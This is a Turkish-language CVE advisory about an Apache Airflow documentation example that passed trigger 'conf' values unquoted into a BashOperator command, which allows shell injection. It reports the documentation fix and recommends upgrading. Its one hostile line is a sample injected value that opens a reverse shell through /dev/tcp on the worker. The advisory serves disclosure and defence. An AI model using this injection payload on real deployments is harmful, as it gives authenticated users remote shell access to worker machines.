CVE-2026-42252

Apache Airflow'un `core-concepts/dag-run.html` adresindeki resmi dokümantasyonu ("Passing Parameters when triggering Dags"), herhangi bir tırnaklama veya temizleme uyarısı olmaksızın doğrudan `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` örneğini göstermiştir. Bu kalıbı olduğu gibi kopyalayan ve kullanıcıların etkilenen Dag üzerinde `Dag.can_trigger` iznine sahip olduğu dağıtımlarda (tipik çok ekipli dağıtımlar, tetikleyici API sunan barındırmalı hizmetler), tetikleyici API'nin `conf` alanı üzerinden kabuk meta-karakter enjeksiyonuna maruz kalınabilir: kimliği doğrulanmış bir tetikleyici kullanıcı, `conf` değeri olarak `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` sağlayarak worker üzerinde bir `os.exec` çalıştırabilir. Bu CVE, `apache/airflow` PR 64129 ile yapılan dokümantasyon düzeltmesini kapsamaktadır; dokümanlardaki örnek kalıp artık açık kabuk tırnaklaması ve bir güvenlik uyarısı içermektedir. Dag kodu, düzeltme öncesi doküman örneğine göre modellenmiş olan dağıtımlar etkilenmektedir. Önceki CVE-2025-50213 ve CVE-2025-27018 dokümantasyon kalıbı düzeltmeleriyle aynı sınıftadır. Kullanıcıların, sürümle birlikte gelen düzeltilmiş dokümantasyondan yararlanmak için `apache-airflow` 3.2.2 veya daha yeni bir sürüme yükseltmeleri önerilir.